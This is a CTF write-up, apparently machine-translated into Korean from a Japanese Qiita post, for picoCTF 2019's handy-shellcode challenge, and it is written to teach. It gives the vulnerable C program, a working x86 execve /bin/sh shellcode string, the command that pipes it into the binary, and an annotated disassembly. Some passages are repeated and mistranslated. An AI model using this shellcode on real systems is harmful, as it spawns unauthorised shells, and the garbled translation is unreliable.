picoCTF 2019 handy-shellcode 설명
6825 단어 assembly
문제를 고찰하다
문제의 디렉터리에 들어가서 flag을 보십시오.txt가 있습니다.여기 표지가 있는 것 같아요.캣 명령으로 표지판을 열 수도 없잖아.물론 권한이 부족하다.
그래서우리 c 안에 있는 물건을 봅시다.#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 148
#define FLAGSIZE 128
void vuln(char *buf){
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
char buf[BUFSIZE];
puts("Enter your shellcode:");
vuln(buf);
puts("Thanks! Executing now...");
((void (*)())buf)();
puts("Finishing Executing Shellcode. Exiting now...");
return 0;
}
이 코드에서 다음과 같은 내용을 알 수 있다.
① //Set the gid to the effective gid. this prevents/bin/sh from dropping the privleges의 설명에서 이 코드에서/bin/sh를 호출하면 조개껍질을 사용할 수 있습니다
②gets 함수에서 받은 입력이 buf에 저장됨
③((((vod(*)()buf) ()에서 매개 변수 함수가 없는 함수 포인터로 buf를 할당하여 즉시 실행
답안
/bin/sh를 호출할 수 있는 조개 코드를 찾습니다.웹 사이트여기.를 사용했습니다.Intel x86에서 사용할 수 있는 패각 코드를 찾습니다.
다음은 포함된 조개 코드입니다.\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80
그런 다음 셸을 부팅할 수 있습니다.(echo -e "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";cat) | ./vuln
cat flag.txt를 입력하면 로고를 얻을 수 있습니다.
왜 조개가 작동하지?
아까 케이스 역조립해서 내용 확인하세요.
echo -en "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" > tmp && objdump -M intel -D -b binary -m i386 tmp > asm.txt
0: 31 c9 xor ecx,ecx # ecxに0をセット
2: f7 e1 mul ecx # eaxにecxをかけ、edx:eaxに0をセット
4: b0 0b mov al,0xb # eaxの下位8ビットに0xbをセット
6: 51 push ecx # ecxの値は0なので,ヌル文字を表している?
7: 68 2f 2f 73 68 push 0x68732f2f # asciiコードを文字に直すと //sh (リトルエンディアンであることに注意)
c: 68 2f 62 69 6e push 0x6e69622f # asciiコードを文字に直すと /bin
11: 89 e3 mov ebx,esp # ebxにスタックに積んだ"/bin//sh\0\0\0\0"の先頭番地をセット
13: cd 80 int 0x80 # 割り込み発生 eaxの値を見てシステムコールの種類を特定
int가 0x80에서 중단되었을 때 eax의 값을 확인하고 어떤 시스템 호출을 사용할지 결정합니다.번호와 시스템 호출의 대응은/usr/include/asm/unistd32h로 확인할 수 있습니다.
이번에는 eax에서 (위) 0xb, 즉 10진수로 11을 넣었기 때문에execve가 호출되었다는 것을 알았습니다.
execve를 호출할 때의 매개 변수로, "/bin/sh\0\0"은 창고에 쌓여 있습니다. (왜/바이트 수를 위한 조합이 하나 더 생겼는지 모르겠습니다.)execve에서 첫 번째 인자의 실행 파일 경로를 지정하기 위해 케이스를 시작할 수 있습니다.
Reference
이 문제에 관하여(picoCTF 2019 handy-shellcode 설명), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다
https://qiita.com/watson2m/items/bdeab06a5fedf1620a81
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념
(Collection and Share based on the CC Protocol.)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 148
#define FLAGSIZE 128
void vuln(char *buf){
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
char buf[BUFSIZE];
puts("Enter your shellcode:");
vuln(buf);
puts("Thanks! Executing now...");
((void (*)())buf)();
puts("Finishing Executing Shellcode. Exiting now...");
return 0;
}
/bin/sh를 호출할 수 있는 조개 코드를 찾습니다.웹 사이트여기.를 사용했습니다.Intel x86에서 사용할 수 있는 패각 코드를 찾습니다.
다음은 포함된 조개 코드입니다.
\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80
그런 다음 셸을 부팅할 수 있습니다.(echo -e "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";cat) | ./vuln
cat flag.txt를 입력하면 로고를 얻을 수 있습니다.왜 조개가 작동하지?
아까 케이스 역조립해서 내용 확인하세요.
echo -en "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" > tmp && objdump -M intel -D -b binary -m i386 tmp > asm.txt
0: 31 c9 xor ecx,ecx # ecxに0をセット
2: f7 e1 mul ecx # eaxにecxをかけ、edx:eaxに0をセット
4: b0 0b mov al,0xb # eaxの下位8ビットに0xbをセット
6: 51 push ecx # ecxの値は0なので,ヌル文字を表している?
7: 68 2f 2f 73 68 push 0x68732f2f # asciiコードを文字に直すと //sh (リトルエンディアンであることに注意)
c: 68 2f 62 69 6e push 0x6e69622f # asciiコードを文字に直すと /bin
11: 89 e3 mov ebx,esp # ebxにスタックに積んだ"/bin//sh\0\0\0\0"の先頭番地をセット
13: cd 80 int 0x80 # 割り込み発生 eaxの値を見てシステムコールの種類を特定
int가 0x80에서 중단되었을 때 eax의 값을 확인하고 어떤 시스템 호출을 사용할지 결정합니다.번호와 시스템 호출의 대응은/usr/include/asm/unistd32h로 확인할 수 있습니다.
이번에는 eax에서 (위) 0xb, 즉 10진수로 11을 넣었기 때문에execve가 호출되었다는 것을 알았습니다.
execve를 호출할 때의 매개 변수로, "/bin/sh\0\0"은 창고에 쌓여 있습니다. (왜/바이트 수를 위한 조합이 하나 더 생겼는지 모르겠습니다.)execve에서 첫 번째 인자의 실행 파일 경로를 지정하기 위해 케이스를 시작할 수 있습니다.
Reference
이 문제에 관하여(picoCTF 2019 handy-shellcode 설명), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다
https://qiita.com/watson2m/items/bdeab06a5fedf1620a81
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념
(Collection and Share based on the CC Protocol.)
echo -en "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" > tmp && objdump -M intel -D -b binary -m i386 tmp > asm.txt
0: 31 c9 xor ecx,ecx # ecxに0をセット
2: f7 e1 mul ecx # eaxにecxをかけ、edx:eaxに0をセット
4: b0 0b mov al,0xb # eaxの下位8ビットに0xbをセット
6: 51 push ecx # ecxの値は0なので,ヌル文字を表している?
7: 68 2f 2f 73 68 push 0x68732f2f # asciiコードを文字に直すと //sh (リトルエンディアンであることに注意)
c: 68 2f 62 69 6e push 0x6e69622f # asciiコードを文字に直すと /bin
11: 89 e3 mov ebx,esp # ebxにスタックに積んだ"/bin//sh\0\0\0\0"の先頭番地をセット
13: cd 80 int 0x80 # 割り込み発生 eaxの値を見てシステムコールの種類を特定
Reference
이 문제에 관하여(picoCTF 2019 handy-shellcode 설명), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://qiita.com/watson2m/items/bdeab06a5fedf1620a81텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)